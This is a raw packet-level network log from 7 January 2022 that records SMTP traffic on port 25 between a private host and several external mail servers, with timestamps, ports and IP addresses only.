Jan 7, 2022 15:54:30.512101889 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512135983 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512159109 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512207985 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512259007 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512317896 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512358904 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512363911 CET	49804	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:30.512388945 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512408018 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512485981 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512502909 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512516975 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512535095 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512557030 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512572050 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512572050 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512604952 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512634993 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512639046 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512681007 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512722969 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512770891 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512809992 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512862921 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512865067 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512881994 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512897015 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512912035 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512939930 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512964964 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512979984 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512994051 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513009071 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513015985 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513022900 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513045073 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513086081 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513087034 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513128996 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513139963 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513144970 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513159990 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513174057 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513180971 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513187885 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513214111 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513237953 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513250113 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513264894 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513281107 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513297081 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513298035 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513329983 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513360977 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513362885 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513403893 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513421059 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513430119 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513451099 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513462067 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513478041 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513483047 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513494015 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513509989 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513509989 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513541937 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513560057 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513576031 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513592005 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513628960 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513633966 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513648987 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513674021 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513674021 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513690948 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513719082 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513731003 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513742924 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513746977 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513762951 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513777018 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513780117 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513809919 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513838053 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513842106 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513858080 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513904095 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.513947010 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513962984 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513977051 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513991117 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.513993979 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.514007092 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514022112 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514029980 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.514036894 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514053106 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514067888 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514076948 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.514113903 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.514123917 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514139891 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514153004 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514173031 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.514193058 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514204025 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.514277935 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514292955 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514307976 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514322042 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514334917 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514369965 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514408112 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514422894 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514439106 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514477968 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514493942 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514534950 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514552116 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514590979 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.514633894 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.521349907 CET	25	49803	104.47.17.161	192.168.2.3
Jan 7, 2022 15:54:30.521583080 CET	49803	25	192.168.2.3	104.47.17.161
Jan 7, 2022 15:54:30.536612034 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.536645889 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.536663055 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.536679983 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.536695004 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.536710024 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.536725998 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.536956072 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.536973953 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.536989927 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537005901 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537019968 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537050009 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537064075 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537076950 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537092924 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537142038 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537158966 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537174940 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537190914 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537206888 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537223101 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537237883 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537251949 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537266016 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537281036 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537297010 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537312031 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537581921 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537601948 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537617922 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537632942 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537647963 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537662983 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537678957 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537693977 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537709951 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537724972 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537765980 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537781000 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537797928 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537813902 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537827969 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537844896 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537923098 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537966013 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537981987 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.537997007 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538042068 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538125038 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538141966 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538156033 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538199902 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538242102 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538258076 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538283110 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538297892 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538312912 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538391113 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538439035 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538523912 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538538933 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538553953 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538568974 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538682938 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538698912 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538729906 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538744926 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538803101 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538820028 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538886070 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538899899 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538914919 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.538961887 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539043903 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539061069 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539124012 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539249897 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539285898 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539324045 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539339066 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539441109 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539455891 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539469957 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539520025 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539628029 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539644003 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539721966 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539804935 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539822102 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539836884 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539884090 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539922953 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.539962053 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540055037 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540170908 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540203094 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540287971 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540302038 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540314913 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540448904 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540484905 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540595055 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540642023 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540683985 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540721893 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540765047 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540786982 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540802002 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540827990 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540843964 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.540903091 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541013002 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541030884 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541045904 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541060925 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541078091 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541093111 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541107893 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541125059 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541138887 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541166067 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541208029 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541224003 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541238070 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541248083 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541263103 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541277885 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541291952 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541306973 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541321039 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541337013 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541368961 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541384935 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541414022 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541429996 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541446924 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541460991 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541475058 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541532040 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541564941 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541579962 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541595936 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541610956 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541625977 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541642904 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541690111 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541706085 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541722059 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541738033 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541898012 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541913033 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541928053 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541944027 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541959047 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541975021 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.541990042 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542004108 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542020082 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542036057 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542052031 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542068005 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542169094 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542186975 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542201042 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542216063 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542229891 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542247057 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542262077 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542278051 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542327881 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542345047 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542361021 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542376041 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542392969 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542408943 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542423964 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.542439938 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.545891047 CET	25	49803	104.47.17.161	192.168.2.3
Jan 7, 2022 15:54:30.546188116 CET	25	49803	104.47.17.161	192.168.2.3
Jan 7, 2022 15:54:30.546350956 CET	49803	25	192.168.2.3	104.47.17.161
Jan 7, 2022 15:54:30.553965092 CET	25	49802	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:30.554070950 CET	49802	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:30.554152012 CET	25	49802	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:30.554172039 CET	25	49804	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:30.554275990 CET	49804	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:30.554275990 CET	49802	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:30.570614100 CET	25	49803	104.47.17.161	192.168.2.3
Jan 7, 2022 15:54:30.571470022 CET	25	49803	104.47.17.161	192.168.2.3
Jan 7, 2022 15:54:30.571733952 CET	25	49803	104.47.17.161	192.168.2.3
Jan 7, 2022 15:54:30.571830034 CET	49803	25	192.168.2.3	104.47.17.161
Jan 7, 2022 15:54:30.572113991 CET	49803	25	192.168.2.3	104.47.17.161
Jan 7, 2022 15:54:30.572166920 CET	49803	25	192.168.2.3	104.47.17.161
Jan 7, 2022 15:54:30.596052885 CET	25	49804	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:30.596199989 CET	49804	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:30.596223116 CET	25	49803	104.47.17.161	192.168.2.3
Jan 7, 2022 15:54:30.596246958 CET	25	49803	104.47.17.161	192.168.2.3
Jan 7, 2022 15:54:30.638231993 CET	25	49804	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:30.638286114 CET	25	49804	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:30.638478994 CET	49804	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:30.680372953 CET	25	49804	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:30.680417061 CET	25	49804	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:30.680531979 CET	49804	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:30.722379923 CET	25	49804	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:30.722426891 CET	25	49804	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:30.722523928 CET	49804	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:30.722553968 CET	49804	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:30.764415026 CET	25	49804	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:30.764457941 CET	25	49804	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:30.764504910 CET	49804	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:30.764533043 CET	49804	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:30.863076925 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.889362097 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.889498949 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.892898083 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.915884972 CET	25	49801	108.177.119.26	192.168.2.3
